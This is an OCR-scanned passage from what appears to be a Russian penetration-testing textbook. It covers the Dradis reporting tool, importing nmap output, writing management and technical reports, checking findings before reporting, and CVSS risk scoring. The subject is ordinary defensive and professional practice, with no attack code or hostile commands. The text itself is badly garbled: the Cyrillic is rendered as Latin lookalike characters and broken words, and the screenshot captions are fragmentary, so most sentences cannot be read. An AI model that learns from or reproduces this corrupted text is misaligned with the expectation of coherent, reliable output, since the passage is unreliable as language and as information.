760 HAYATH C YMCTOTO JIUCTA, TNOO 3arPy3UTh TECTOBBIN TIPOEKT. EC/Ii BBI yoKe 3Ha-
KOMBI C 3TUM WHCTPYMEHTOM, TO PEKOMEH/IyT0 He JIOUUTBIBATD /10 KOHI[A ATOT Pas/ied,
TaK Kak BbI Bps/L JIM y3HaeTe 4yTo-To HoBoe. Eciu ke aTo Ballle IiepBoe 3HaKOMCTBO,
TO CTOUT 3arPy3UTH JIEMOHCTPAIIUOHHbBIE JIAHHBIE JIJIsT JIyUIIEro OHUMAHIS Pa0OThI
uHcTpyMeHTa (puc. 5.7).
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-7 Project summary

KaliLinux @8 Kali Tocls B
@ Dradis CE Dradis Project Q @ Upload [BExport 3@ Change Project 48 Configuration  Jih Notifications 2 Help (B Logout

I & o= Project summary

lssues so far Methodology progress

2

Crical  High
@ Pending
@ Dare
# Blind 50U Injection
Recent activity VAl Activity

# Apache 1.3 HTTP Server Expect Header
Cross-Site Scripting

~-_ adama@dradisframework.com updated

| the Bind SOL Injectzon issue.

¥ TCP Sequence Mumber Approximation
Based Denial of Service

+ adama®dradisframework.com updated
o the Blind SCL Injection issue,
onDec 12 2018

#% Apache HTTPD: error responses can - adama@®dradisframework.com updated

Puc. 5.7. HauanbHas ctpaHuua Dradis ¢ uHcbopMaumeii o0 TeECTOBOM NpoekTe

Jl71s1 Havasia mo3HakoMUMCS € TIaHeJbIo YIIPaBJIeHUs, OHa HAXOAUTCs cjieBa. B pas-
neaie All issues (puc. 5.8) BbI MOXKeTe CO3/aTh HOBYIO 3ajauy, 3arpy3utb B Dradis
MOJIyYEHHbIE C TIOMOTI[BIO IPYTOr0 MHCTPYMEHTA JTAaHHbIE UJIU PE3YJIbTaT us 6ub/im-
OTEKTL.

Paznen meroauku (Methodologies) (puc. 5.9). CylecTByeT MHOKECTBO METOIUK ITPO-
BeJICHUsI TECTOB Ha MPOHUKHOBEHUE, Pa3pabOTaHHBIX PA3INYHBIMU OPraHU3AIUSIMH.
ITo cyTH, MeToMKa — 9TO HAGOP HEOOXOAMMBIX IIATOB, MOCJIE TPOXOKAEHUS KOTO-
PBIX BBl MOJKETE CKa3aTh, YTO BBITIOJHIIINA TECT HA TPOHUKHOBeHUE. [1o ymMorganmio
B Dradis nmpakTiyecku HeT METOAMK, HO ¢ OPUITHATIBHOTO caiiTa BBl MOJKETE 3aIPY3UTh
CJIeTYIOTITHE:

OSSTMM v3;

OWASP Top 10;

SANS;

OSCP
U ipyrHe.
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<} Issues summary

D Columns »
Title Tags Affected

O Apache |3HTTP i High 10.0.155.160

Seripting

O Apache HTTPD: ¥ Medium 1,111
BITOF FESPONGES

(CVE-2012-0053)

[0 Apache Web # Medium  10.0.135.160 o Edit @ Delete
Server ETag
Header
Information
Disclosure
Weakness

Bling SOL 4 Critical 1113
n

O Firewall Detected 3 Info 10.0.155.157

show 25 & entries

Showing 1 to B of 8 entries

«} Methodologies o

Q0 0 loca i ds

li Forums & Hunter = Explolt-DB =
Add new methodology

(73 Blank methodology

Q) From template

Simple OWASP checklist

Download mare templates

Name *

Simple OWASP checklist

Puc. 5.9. [lobaBneHme MeToanK
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Mertozmka Ha caMOM JieJie IOCTATOUHO THOKHMI HHCTPYMEHT, 1 He 00sI3aTeTLHO CTPOTO
CJIe[10BaTD €if, Ha OCHOBE CYIECTBYIOIIEH MeTOIUKH Bl MOKETE CO3/1aTh CBOIO (MJIn
CIIeJIaTh ATO C HyJist 1 paboTaTh M0 CBOEMY YHUKAJILHOMY TIJIAHY ).

Cosmannm metoguky OWASP u3 yike cytecTBytotiero mabmoHa. [[jist 5Toro BeioepeM
Create new metodology, B nosiBuBILIEMCS OKHe oTMeTuM From temlate, BoiGepem Simple
OWASP checklist u naxxmeM kHoniky Add methodology.

Ternepb BbI MOKETE OTKPBITH CITUCOK C TAraMu, HEOOXOAUMBIMU JIJIs TIPOBEPKY Jie-
CSITH CaMBIX TIOMYJISIPHBIX YsI3BUMOCTeN BeO-mpuioskernii 1o Bepcut OWASP. To-
SIBJISIETCST BOBMOJKHOCTD TI0OABUTH KOMMEHTAPHUI, CO3/IATD IOTIOTHUTETHHDIE 38 TaHUsT
WJIN CPa3y OTMETUTH HEKOTOPbIE U3 HUX KaK BBHITIOJTHEHHDIE, OTPEMAKTHPOBATDH MX
U Ha3HAYUTH KAKOMY-JTHO0 UCTIOTHUTENIO (ecIu BBl paboTaeTe B KOMaH/Ie).

Ilepeiina B pasmen Dashboard, Bbl yBUANTE HOBYIO METOAMKY M OOIIUIT XO BBIIOJI-
uenns (puc. 5.10).

«3 Project summary

cC @

Dradis Project Q @ upioad [FExport 3 Change Project Kb Configuration  J Matifications P Help ([ Logout
Project summary

Issues so far Methodology progress

2

Crncal  High in Low 1 NiA
@ Pending @ Pending
@ Done @ Dane
3 Bird SOL Injection
Recent ar_rivity Al Actraty

B Apache 1.3 HTTP Server Expect Meader
Cross-Site Scripting

admin updated the [CWASP Top 101 AZ2017
- Broken Authentication caed in the Simple
¥ OWASP checkiist board.

3 TCP Sequence Number Appraximation 2 minutes age

Based Denial of Service

admin created the Simple OWASE checkiist
¢ methodology.

10 minutes age

% Apache HTTPD: error responses can

Puc. 5.10. MnaBHbIli 3kpaH Dradis nocne nobaBneHus METOANKM

3arpysuTh M MOJIKJIIOUYNTHh HOBYIO, PaHee He CYIIeCTBOBABIIYIO METOANKY MOKHO
¢ opunuansuoro caiita Dradis — https://dradisframework.com/academy/industry/
compliance/.
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Pacemorpum caemyrornmii pasaest — Hombt (Nodes). Hozpl pezictaBiistioT co00il KoHTel-
HEPBI THITA MATIOK B OTIEPAIIHOHHON CHCTEME, OCHOBHAS WH(MOPMAIIUSA TI0 TIPOEKTY OyAeT
COCPEIoTOYEHa IMEHHO B HUX — CIOJIa BbI Gy/iere 06aBIISITh 3aMETKH, TIPUKPEIIATH
(aiiner T . CTpyKTypa Oy/eT Bceria 3aBuceTh OT THITA Ballero npoekra. Tak Kak
HOJIBI — IIPOCTO KOHTEWHEPHI /Uit XpaHeHUs: H(GOPMAIINN, OHU MOTYT MTPEICTABIATD
co0O CeTH ¢ XOCTaMU, KaTeTOPHUHU, Pe3yJIbTaThl padOThI PA3IUIHBIX HHCTPYMEHTOB
u 1. 1. Ectu cosmaercst qipeBoBUHAS CTPYKTYPA, B Hell Oy T rJIaBHbIE U TTOAYNHEHHBIE
aneMenThI. J[o6GaBieHne HOl MOJKET TIPOUCXOIUTD MO OJHON MU MO HECKOJILKO CPasy.
s goGasnenus Hozpl (puc. 5.11) npocTo HaKMKTE + B MEHIO CIIpaBa B paszedie Nodes.

Add top-level node

@ Add one
© Add muitiple

Label *

l 45,84 58.0/24

Reon

Haicon

Puc. 5.11. [lo6aBneHne HOBOW HOAbI

PasbepeMcs B OCHOBHBIX CBOIicTBaX Hozbl (puc. 5.12):
® Notes — so6bIE 3aMETK;

e Evidence — mocJie Toro, Kax Bbl HAILLIN YSI3BIMOCTD, BAM HEITPEMEHHO HEOOXO0IIMMO
accoruupoBaTh ee ¢ Hojoi. Hampumep, Bbl MoskeTe 3anectu Tyaa URL nnu ko,

e Attachment — cpaiizbl, cBsI3aHHBIE C JAHHON HOJIOM, HAITPUMEP CHUMKH 9KpaHa U
pesysTaT paboThl OMPEIETEHHON TPOTPAMMBIL.

[Tocne co3manmsa HOJ MOKHO 3arpy3uThb uHdopmaiuio. /lng npumepa Bo3bMeM
pe3yJIBTaT paboThl NMAap, COXPAHEHHBIH B TEKCTOBOM (aiie. J[JIs1 9TOTO B BepXHeM
MEHIO BbiGepeM WHCTpyMeHT Upload, B pasjesic Upload manager HEOOXOAUMO YKa-
3aTh MJTATHH, ¢ TOMOIIILIO KOTOPOTO OJKEH GBITH 06paboTan (haii, B HAIIIEM CTydae
Dradis::plugins::Nmap, ¥ B CTPOKE HIIKe HYKHO BBIOpPATh (haiis.

ITocJie Boibopa (aiina crcreMa aBTOMAaTUYECKK ero npoaHaausupyet. IIpomece 06-
PabOTKY BBI MOJKETE YBUIETH B KOHCOJIM HUKE, 3TO OBIBAET MOJIE3HO B CJIyUae, KOT/a
YTO-TO UJAET HE TaK, KaK BaM X0Tesioch Obl (puc. 5.13).
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8 - properties.

ng DB J1 OffSec

Q, LaUpioad [@Expor G Change Praject Configuranon  Ji} Motifications P Help (@ Logour

Modes > 4584 56,0024 > 4584568

Nede updated. ®

PEvdence  MMNotes  MMethodology  of Properties | T Recent activity

You don't have any node properties yet

MNode properties are added after importing information from security scanners.
Things like host names, apen ports, and running servces will all be stored as
prapadties

e can alsa add your own prepenties which are stored as
strucied JSON data,

To 2dd noge properties manually:

Puc. 5.12. CBoiicTBa HOAbI

= Upload Manager

i = Google Hacking DB

Dradis Project. @ &@Upioad Beport 3¢ Change Project @ Configuration K Not

Upload Manager

Upload Qutput Fles Available plugins
Use the form below to upload autput files from other Plugin Description Version
ook

Processes Acunelic 471

XML format.
1. Choose a tool

DradisPluginsiNmap (] Processes Brakeman 471

50N autput, use:

brabeman -fjon -

results json
2. Choose a file

Upoad Burp 470
l nmap.bit | Browse I Seanner autput file

Lhtml)
Upload pregress: oradis::p  Upload Burp 470

Scrofl for mere

Output console

Filename: nimap 1t
Size: 9.0 KE

Puc. 5.13. 3arpy3ka 1 o6paboTtka pe3ynbTaToB paboTsl nmap
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-1 127.0.0.1 - properties

nter = Explolt-DR = Google Hacking DB ]| OffSec

Dradis Project Q @ Upload [BExport 3@ Change Project 4 Configuration  f Notifications 2 Help (B Logout
Nodes » pluginoutput » 127.00.1

WEddence  [iNotes  [@Methodology = QProperties  TRecentactivity

Properties # Edit

Hostname
Iocalhast

IP

127.00.1

services

Frotocol Port State Product Reason Name Version

wp 300 open syn-ack  ppp
0

wp 543  open myn-ack  postgr
2 esql

wp 900  open syn-ack  csliste
o ner

Services Extras

Puc. 5.14. Pe3ynbTathl 06paboTku daiina, cozgaHHoro Nmap
B pa3gene Nodes » plugin.output » 127.0.0.1

A rj1e e KpacHBBII 0TY€eT, KOTOPBII ObLIT 00€Ial B CAMOM HadaJle, CIIPOCKUTE BbI? DTOT
IIYHKT OCTaBJIeH JIJist pa3bopa B CAMOM KOHIIE JIJIST TeX, KTO JIOYUTAJI JI0 3TOTO MECTA.

JLJist reHepaiu oTdeTa o MpojeIaHHON paboTe B BEPXHEM MEHIO BaM JIOCTYTIEH MTyHKT
Export. Tyt MoxkHO BBIGpaTh, B KakoM (opMmare Bbl XOTHTE OCYIIECTBUTH 9KCIOPT
nanubeix: CSV, JSON, HTML u 1. 1. MsI ciietaem ipoctoii otuet B hopmate HTML
(puc. 5.15).

HanucaHue otyeTa

Otuer 0 mpojielaHHON paboTe — 3TO JOKYMEHT, KOTOPBIIl OMMCHIBAET PE3YJIBTATHI
paboThI, BBIIOJHEHHOI B paMKax OTPE/IEJEHHOTO MMPOEKTa WK 3aaHust. B oTyere
MOJKET COZiepKaThCcs MHMOOPMAIIHS O MEJSX, JOCTUTHYTHIX Pe3yJbraTax, UCI0Ib30-
BaHHBIX [IPU BbINOJHEHUH PabOThI METOAAX, AHAJIU3 PE3YJIBTATOB U T. [,

B oruere o 1ipoesanHoil paboTe Ba)KHO UCIIOJIb30BATh SICHBIN 1 JJAKOHUYHBIH A3BIK
JUIST OTTUCAHUST TIPOIecca PabOThI U JOCTUTHYTHIX Pe3yJIbTaToB. OTU4eT MOXKET ObITh
[pegHazHavdet s BHyTPEHHero NCI0Ab30BaHus — IIPEAOCTaBIeHUI PYKOBOJICTBY
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-3 Export Manager x| +

O D loc j b=htmi

7 Kall Forums &2 Kali NetHunter = Explolt-DB = Google Hacking DB J| OffSec

Dradis Project Q @uUpload [BExport 3G Change Project 48 Configuration il Notfications 2 Help (3 Logout

Export Manager
Export results in CSV format  Generate JSON reports | Generate advanced HTML reports
Save and restora project information B Custom Waord reports @ Custom Excel reports
Choose a template

Please choose ane of the termplates avaiable for thes plugin (find them in . /tesplates/reports/html_export )

QO basichtmlerb
() default_dradis_template v3.0 himierb

Puc. 5.15. leHepaums otyeTa B popmate HTML

NJIN KOJIJIETaM I/IH(I)OpMaLII/II/I (6] HpOlIe.]IaHHOﬁ pa60Te NJIN JIJIA1 BHEITHETO MCITOJ/Ib30Ba-
HUA — COO6H.[BHI/I$I KJIMEHTaM, ITapTHEPaM NJIN NHBECTOPaM O pe3yJibTaTaX IIPOEKTa.

Otuer MOKeT BKII0YaTh B ce0s Tabauibl, rpaduKu, AuarpaMMbl, IOMOTAIOLIIe BH-
3yaJIM3MPOBaTh JaHHbIE U [IPEACTaBUTD UX O0JIee TIOHATHBIM 06pa3oM. Takxke MOKHO
UCII0JIb30BATh CCHLIKKM Ha KCTOYHUKH, UCIIOJIb30BaHHbIE B X0/€ PpaboTbl, 4TOObI 000~
CHOBATh IIPUHSTHIE PEICHUST 1 PE3YJIBTAThl aHATN3A.

Otuer 0 npogeIanHoil paboTe IOMOraeT OpPraHu3aluy OLeHuTh 3h(OEKTUBHOCTD
BBITIOJTHEHHBIX JIEUCTBUN U OHSITH, KAKUE YPOKHM MOKHO U3BJI€UD, YTOOBI YIIyUIIUTh
Gymyrme mpoekThl. OH TakiKe MOXKET OBITH TOJE3€H [JIsT CPABHEHUST PE3YIBTATOB
TeKyIeil paboThl ¢ pe3yJIbTaTaMu MPEABIAYIINX TPOEKTOB U OINEHKU TEHACHIIHIT
B Pa3BUTHU OPTaHU3AIINN.

LleneBas ayantopus

He Bcerza MosxkHO 000iTHCH OHUM 0TYeTOM. HeoOX0MMO IIPeACTaBUTh 1EJIEBYIO
AYAUTOPUIO U TIOCTABUTD ceOst Ha MECTO JIT0jIe, KOTOPbIe OYIyT YUTATh BAII OTYET.
Kak oTHeceTcst K 0TUETY, B KOTOPOM GOJIbIIIast 4acTh HH(MOPMAIIH SBJISIETCS Cyry6o
TEXHUUYECKOH, TUPEKTOP TIPEATTPUITHS, 3AHUMAIOIIErOCST JIOTUCTUKOM UJTH TTPOU3-
BOJICTBOM TTUJIOMATEPUAJIOB, BE/lb 3TO He BXOAUT B cepy ero npodeccuoHaabHol
komrieTeHInu? Ckopee BCEro, pyKOBOJAUTEJb 3aX0UeT YBUAETD OIEHKY PUCKOB,
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BO3MOJKHDBIE TIOTEPU, PEKOMEHIAINN IJIAA UCIPABJICHUA U ITPUMEPHDBIC 3aTPAThl Ha
HX peajin3alinio. B To xe BpeMs TEXHUYECKOMY CIIEIINAJINCTY BaKHO BUIETD /I€TAJIN,
TIOHUMAaTb HIPUOPUTETHI U MOJYYUTD IIPE/ICTaBJICHNE O KOHKPETHDIX IIarax /1Jisd Uc-
TpaBJieHUA HaleHHBIX yHSBI/IMOCTefI.

[Ana pyKoBOACTBa

JlaHHbIi OTYET HOJKEH OBITh KaK MOKHO O0Jiee KPATKUM, COEPKATH MUHUMYM
TEXHUIECKOI I/IHd)OpMaI_[I/II/I. B nero CaeyeT BKIIOYUTD O6IlII/I€ JaHHbIE, TIOJIyYE€HHDbIE
BBIBOJIBI, 0630D HAWIEHHBIX YSI3BUMOCTEH 1 ONEHKH PUCKOB B KOHTEKCTE OGU3HeC-
MO/IeJIN NTPEJTIPUATNS, BUSYATU3AIIO JAaHHbIX.

Hauatb 0TYeT MOKHO € YKa3aHUs II0CTABJICHHbIX [IEPE/, HAaYaJl0M TeCTUPOBAHKS LeIei
M KPATKOTO OMUCAHKST METOIOB MX JOCTHKEHUsA. Takke HeoOXOAMMO yKa3aTh COIyT-
CTByIOH_[I/Ie OrpaHn4YeHuA, KOTOPbIE MOIJIN TIOMEIIATh BaM IIPU IIPOBEJICHUN TECTa. Ha—
[IPUMEP, YACTO 3aKa3UMK TPEOYET TapaHTHI COXPAHEHHS PAOOTOCIIOCOOHOCTI CHCTEMBI
BO BpPEMS$I TECTUPOBaHMUS Ha MPOHMKHOBeHUe. Ecam, cobmoaas aTo TpeboBaHue, Bbl He
CTaJ/IM IIPOBOJIUTH aTaKy, KOTOpasi MOIJIa BbI3BATh OTKA3 B 0OCTYKUBAHUHI, HECMOTPS Ha
HallIeHHYIO YA3BMMOCTD, TO M HE IOATBEPANIN CTOIIPOLEHTHO HAIUYKE YS3BUMOCTH,
XOTs yBEPEHbI B €€ CyNeCTBOBaHN . Taknue MOMEHTBI HeOOXOMMO 0TOOPA3UTD B OTUETE.

Jajiee, HeOOXOANMO ONKCATh HAlJIEHHbIE YS3BUMOCTH. XOPOIIO OYIYT CMOTPETHCSI
rpaduKK B BUJIe <ITMPOTa», Ha OJHOM M3 HUX BBl MOJKET IIPEACTABUTh CTATHUCTUKY
THUIIOB HAilICHHBIX YSI3BUMOCTE, @ Ha [PYTOM — CTATUCTHKY, OTPAsKAIOIILYIO KPUTHY-
HOCTDb HalIEHHBIX ysi3BUMOCTEH (puc. 5.16).

B pekoMeHaIumsIX o UCIpaBJIeHIIO HaliJIeHHBIX HEJIOCTATKOB HEOOXOMMO YKa3aTh
KJIIOUYEBBIE TIarH JJist obectiedeHnst 6e30MacHOCTH TeCcTUPYeMoii cuctembl. CKaskeMm,
GOJIBIIUM TIIOCOM OYZIEeT He TIPOCTO HAIUCATh, YTO HEOOXOAUMO OOHOBUTH MUMEIO-
1eecst porpaMMHoe oGecIiedeHne, a MPeAJIoKUTh IEHTPATU30BaHHOE PelleHre /115
KOHTPOJISI UCTIOJIb3YEMbBIX Ha MPEANPUITUN UHHOPMAIIMOHHBIX PECYPCOB, KOTOPOE
OMOTJIO ObI H36€KaTh BOSHUKHOBEHUS MOJ0OHON TPOOIEMbI B OYLYIIEM.

= SQL injection = Buffer overflow |‘

m XSS = Remote code execution

= Privelege escalation m High = Medium = Low

Puc. 5.16. Mpadunyeckoe npescTaBneHne CTaTUCTUKN HaWAEHHBIX YA3BUMOCTEN
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Emte pa3 oTMeuy, 9T0 OTYET 7T PYKOBOJACTBA MOJKeH OBITh KpaTKuii, 6e3 ykasza-
HYsI KOHKPETHOTO MTPOrPaMMHOTO 06EeCTIeueHNsT W BAPUAHTOB PEAlU3aliid — 9TO
YK€ OTHOCHUTCSI K TEXHUYECKOU dacTu. JlocTaTouHo OYy/IeT YIIOMSIHYTh O TOM, YTO
CJIe/IOBaHME ONPEEeJICHHBIM CTaHAAPTAM WJIHM TIPUMEHEHUE OPe/IeJIEeHHOTO KJacca
POrPAMMHOTO 0OECIIEYeHNUsT TOMOKET UCIIPABUTDH CUTYAIMIO U TIPEIOTBPATUTD €e
MOBTOPHOE BOBHUKHOBECHHUE.

TexHMYecKkun oTyeT

ITOT OTUET HAIleJIEH Ha CHENUATUCTOB B 00J1acT HH(DOPMAITMOHHBIX TEXHOJIOTHI,
KOTOPBIM TIPUIETCS 3aHUMATBCS YCTPAHEHUEM YSI3BUMOCTEN HA OCHOBAHUH PE3YJTh-
TaTOB Baleit paboThl. B 9TOM 0KTajie BB JOKHBI KaK MOJKHO OOJIee eTarbHO
OIMcaTh Hal/IeHHbIE YSI3BUMOCTHU, OIICHUTDb UX KPUTUYHOCTD, BADUAHTBI AKCILILY-
aTalyu, MeTOJAUKY TECTUPOBAHUS U HIATU JJIs1 BOCIIPOU3BEECHUS TOJIYYEHHOTO
pesyJibTaTa.

OTueT MOKHO HAYaTh ¢ TOMOJOIHH CETH, B KOTOPOH OYAyT OTpaskeHbl OCHOBHbIE
9JIeMEHTBbI HHPPACTPYKTYPbI 3aKa34MKa, Coj/ieprKalliie olipe/leleHHbIe YSI3BUMOCTH,
a TaKJKe Y3JIbI, KOTOPbIE MOTYT GBITH CKOMITPOMETUPOBAHBI ITPH aTake Ha KaKoH-1160
VSA3BUMBIH 37ieMeHT MH(GPACTPYKTYPBI.

3aTem CJIEAYET OIMNCATDb KaK/1YIO Haﬁ[[eHHYIO YA3BUMOCTD C YKa3aHUEM TOTO, KaK OHa
ObLIa HaﬁlleHa, KaKoi BEKTOP aTaK" OBLIT TIPUMEHECH [JIs1 €€ OKCILTyaTalluu, OBLIN JIN
HCIIOJIb30BaHbI KaKue-1160 WHCTPYMEHTBI 1 TPOBEPEHHBIC AKCILJIONTHL.

B koHIie oTYeTa HeOOXOAUMO IPUBECTH PEKOMEHIAIUH 110 YCTPAHEHIIO HalIeHHBIX
VSI3BUMOCTEM. YuTHTE, 4acTO OBIBAET TAK, YTO HAWJIECHHYIO YSI3BUMOCTh HEBO3MOKHO
YCTPaHUTh. TaK, B HEKOTOPBIX YUPEKIEHNIX 3PABOOXPAHEHNS NCTOIb3YeTCs TeX-
HUKa, KOTOpas y>Ke He MO/IZIePKUBAETCS IIPOU3BOINTEIISIMI, COOTBETCTBEHHO, HEJTb35T
00HOBUTB IIPOrpaMMHOe ObecIiedeHne, HalpuMep, A MAaTHUTHO-PE30HAHCHOTO
tomorpada. CiiesioBaTesibHO, BbI JIOJIKHBI IPEJJIOKUTD PeaJbHbIN BADUAHT TIPEIOT-
BpallleHUS BO3MOKHOCTU TPOHUKHOBEHUS — OTKJIIOUEHUE Y3JIa YIIPaBJICHUS ariapa-
TOM OT UHTEPHETA WJTH YCTAaHOBKA MEKCETeBOTO 9KPaHa /IS OTPAaHUYEHUS JOCTyTIA.

Llenb oTuyeTa

[Tpu cocraBieHnu oTyeTa HEOOXOIMMO TOYHO MPEICTABISITH, YeTO BBl XOTUTE 0~
6uThCst. BaM HY’KHO [M0KasaTh, yTO BbI yMeere 3amyckaTh Kali Linux u konuposaThb
pesyJibTaT paboThl NMAp U3 KOHCOJIN B IIPE3EHTAIMIO, WU JKe BbI XOTUTE MTPOJIEMOH-
CTPUPOBATH PE3YJIbTAT AHAJIN3A MTOJTYIEHHBIX TAHHBIX, OICHKY PUCKOB, PEKOMEH A~
MY 0 WX ucnpasiennio? CoracuTech, mocaeqHee BHTIAAUT Oosee mpodeccno-
HAJBHO U TTPE3eHTAOETHHO.

K coxkasnenuio, MHOTHE OTUeTHI 6e3 BECKOI Ha TO PUYUHBI TIEPErPYKEHbI U30bI-
TOYHBIMU JIAHHBIMH, U3-32 9TOTO B HUX IIPOCTO TepsAeTcsa Ta nHGopMaIus, KOTOpyIo
XoTeJ1 lonectu aBTop. [l Hayaia peKoMen1yeTcs co3aTh IIal 0TYeTa, BLLACIUTD
OCHOBHBbIE TIYHKTHI U ysKe TIOTOM JT00ABJISITh HYKHYIO HH(MOPMAIIHIO.
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lNpoBepka pe3ynbTaToB

Kaxk ysxe roBOopusioch, BKJIIOUEHHBIHN B OTUET PE3yJIbTaT, KOTOPbII HEJIb3s1 TIOBTOPUTD,
CYMTAETCS ITPOBAJIOM M MOKET CEPbe3HO MOANOPTUTD Bally PeIyTalllio KakK CIeIn-
asnmcra. B camoM Hauasie paboThI aBTOP caM T1apy pas HaCTYIIJI Ha a1 rpabi. Bep
TaK 3aMaHYMBO — 3aIyCTUTh CKaHep ysi3BUMOcTel Nessus, HaIUuTh cebe Jalieuky
Kode U, BEepHYBIIIKUCH Yepe3 4ac, HA OCHOBAHWU €0 JJAHHBIX MOJITOTOBUTH OTYET.
Ho B gannom ciy4ae npocToii 1yTh 4aCTO OKa3bIBACTCS HEBEPHBIM.

BesycaosHo, Nessus sIBJASETCA OTINYHBIM HHCTPYMEHTOM, KOTOPBIil HUKTO HE OT-
roBapMBaeT Bac MCHOJb30BaTh, OIHAKO €CJIM BbI YBEPEHBI, UTO HAIIIN YSI3BUMOCTb,
BaM HEOOXO/IMMO €€ TIPOBepUTh. Eciin Hamwm Bo3aMokHOCTh SQ L-nHbekinu, 00si3a-
TEJILHO MIPOBEJIUTE €€ U BKJIOUUTE 3TO B OTUYET. BbIBAET TaK, 4TO BBI €HCTBUTEIHHO
0GHAPYKUJIN Ha CepPBEPE TPIIIOKEHNE, KOTOPOE YSI3BUMO K JIAHHOMY THITY aTak, HO
nepesl HUM ycrtaHoBiieH web application firewall, koTopsriit oTmuHO GuabTpyeT Bee
BalIlH MOIBITKY AKCILIyaTalluy HAWJIEHHON YSI3BUMOCTH. DTO HE 03HAYAET, YTO MOIKHO
3aKPBITh Ha HTO IJ1a3a, BCe PABHO HEOOXOANMO BKJIIOYUThH HANIEHHYIO YS3BUMOCTh
B OTYET, OJIHAKO OI[EHKA PUCKOB MOYKET U3MEHUTHCSI.

Bosnuxkaet Bompoc: noyemy Tak BaxkKHO IIPOBEPSITH BCE [TOJIyYEHHBIE Pe3YJIBTATDI, BE/b
€CJIM €CTh YSI3BUMOCTb, TO €€ HEOOXOUMO CPOYHO UCIIPABUTh, YCTPAHUB PUCK B3JIOMA.
C 071HO¥ CTOPOHBI, ATO TaK, HO JAbSIBOJI, KaK U BCET/Ia, KPoeTcs B fleTasisax. [lepsoe, 4To
MPUXOJIUT HA YM, — BbI HAIILIN GaHAJBHYIO JIOBYIIKY I XaKepoB. BriosiHe BeposTHO,
Ha JIAHHOM CEPBEpPE CIEIMATBHO ObIJIO YCTAHOBJIECHO YSI3BIMOE ITPOrpaMMHOE obecrie-
YeHHe ¢ 1eJIbio cOopa nHbopMaImu 06 aTaKyoIIX U IPeJOTBPAIeHUS BTOPKEHUSI.
Bropas npuunna — nensru. Vcnpasienne ysSI3BUMOCTH, He TIPE/CTABJISIONIEN 3Ha-
YUTEILHOI YIPO3BI, MOJKET TIOTPEOOBATH OOMBITNX (DUHAHCOBBIX U TPYAOBBIX 3aTPaT.
B ToT MOMEHT, KOT/Ia BCe cuitbl GYIyT OPOIIEHBI Ha UCIIPABJICHUE YSI3BUMOCTH, KOTO-
PYI0 6ECKOHEUHO CIIOKHO POIKCILIYaTHPOBATh, 3JI0YMbIIICHHUKA MOTYT TPOHKK-
HYTh B CUCTEMY C TIOMOIIBIO IpyTuX Opetieii B 6ezonacHoctu. Cremytonas mpuanHa
nocTaTouHo GanaibHa — omubKa. [IpoBos TecThl GOMBIINX U CIIOKHBIX HH(DOpPMa-
IIMOHHBIX CUCTEM Ha ITPOHUKHOBEHUE, Bbl CTOJKHETECh C OTPOMHBIM KOJNYECTBOM
JTAHHBIX, B KOTOPBIX JIETKO TIOTEPSITHCS M KOTOPBIE JIeTKO moTepsiTh. CosmaBas oTder
U TIOBTOPHO TIEPEITPOBEPSISE PE3YJIBTATHI, BB yOEAUTECH B TPABUJIbHOCTH BKJIIOUEHHOM
B Hero nHbopMmainu. KoHevHo, faske TP TAKOM MOZIX0/Ie OBIBAIOT ONMHOKH, HO TAKIM
006pa3oM BbI CBEJIETE BEPOSITHOCTH UX BO3HUKHOBEHUST K MUHIMYMY.

MeToA OLEeHKU pUCKOB

[Ipenmomnosxum, BbI HANIN YSI3BUMOCTh — KaK OIIEHUTbh, HACKOJIBbKO OHA KPUTHY-
Ha? JTO Ba)KHO He TOJIbKO JIJIsI COCTABJIEHUST OTYETa, HO U JIJIst IPUHSTUS PelleHnst
0 nayibHeHuX feiicTBusax. B repByio oyepenb /1719 Bac JIMYHO, Beb 3a4eM TPATUTD
BpeMs Ha 3aBe/[OMO HEKPUTHYHYIO YSI3BUMOCTb, KOTOPasl He TOMOKET TPOHUKHYTh
B HCCJIElyEMYIO CHCTEMY, €CJIM Y BaC €CTh ellle HeCKOJIbKO OoJiee TepCrneKTHBHBIX
BapuaHToB? U KOHEYHO JKe, 9TO OUeHb BayKHO JIJIsI BAlIMX KJIWEHTOB, MHAYE KAKUM
00pa3oM OHU Y3HAIOT O TOM, YTO HEOOXOAUMO UCIIPABJIATH B IIEPBYIO OUEPE/D, 4 UTO
MOJKeT HEMHOTO TIOJIOXKIATh? DTO HOPMAJIbHO, KOT/IA PEANPUITHE UCTTPABJISIET Hall-
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A€HHDbIE BaMU YA3BUMOCTH ITOCTEIIEHHO, HE 3a O/INH /ICHb, B€/[b OHO MOJKET OKa3aTbCA
OrpaHUY€HO KaK B (1)I/IH3.HCOBOM IJIaHe, TaK 1 B KOJIMYECTBE IE€pCOHaJIA.

Ecii Bbl uc1o/1b3yeTe aBTOMAaTUYECKYIO CUCTEMY 1I0MCKa YA3BUMOCTeld, TO OHa BbliaeT
BaM y’Ke TOTOBYIO OTIEHKY PUCKa, HO 1 3Ta OIleHKa He Beeraa ObiBaeT Tounoi. B cyvae
JKe, KOIJIa Bbl HAILLIM YI3BUMOCTb CAaMOCTOSTE/IbHO, KAKOI YPOBEHDb PUCKa Bbl €l I1pu-
cBoute? /laBaiiTe pacCMOTPUM OJIHY U3 CaMbIX HIOITYJISIPHBIX METO/IUK OLICHOK PUCKOB.

Common Vulnerability Scoring System (CVSS) — 310 cranmapt, HCmonb3yeMbii
JUISl OLIEHKHU YSI3BUMOCTEN B KOMIIBIOTEPHBIX crcTeMax u npuoxkenusx. CVSS
[PEIOCTABJISIET OOIIYI0 METOMKY /LISl MIBMEPEHUS BAKHOCTH YSI3BUMOCTH U €€ TI0-
TEHIMATHHOTO BO3IEHCTBUSI HA CUCTEMY.

Jlannbiii METOJI OIIEHKH MCII0JIb3Y€ETCs /IS OIPeIeIeH st YPOBHs KPUTUUHOCTH YsI3-
BUMOCTH, KOTOPBIH Bbipaxkaetcsd urcyom ot 0 1o 10, rae 0 — HamMeHbITnil ypoBeHb,
a 10 — mamssicmuii. OTleHKa YPOBHS CePbe3HOCTH OCHOBBIBAETCST HA HECKOJBKIX
(haxTOpax, BKIOUAS BEPOSITHOCTD KCILIYAaTAI[UN YI3BUMOCTH U TOTEHITMATbHBIH
yiep6, KOTOPBIT MOKET OBITH TIPHYMHEH MTPU €€ IKCITyaTalliH.

Cymiectytot Tpu Bepcuu crangapra: CVSS v3.1, CVSS v3.0 u CVSS v2.0. B kax ot
BEPCHU OTIPEIETIEHBI METPUKU OIEHKH YSI3BUMOCTH — (Ga30Bast METPHUKA, BEKTOPHBIE
METPUKN W TEMIIOPAThHBIE METPUKH, KOTOPHIE OMICHIBAIOT OCHOBHBIE XapaKTePH-
CTHKH ySI3BUMOCTH.

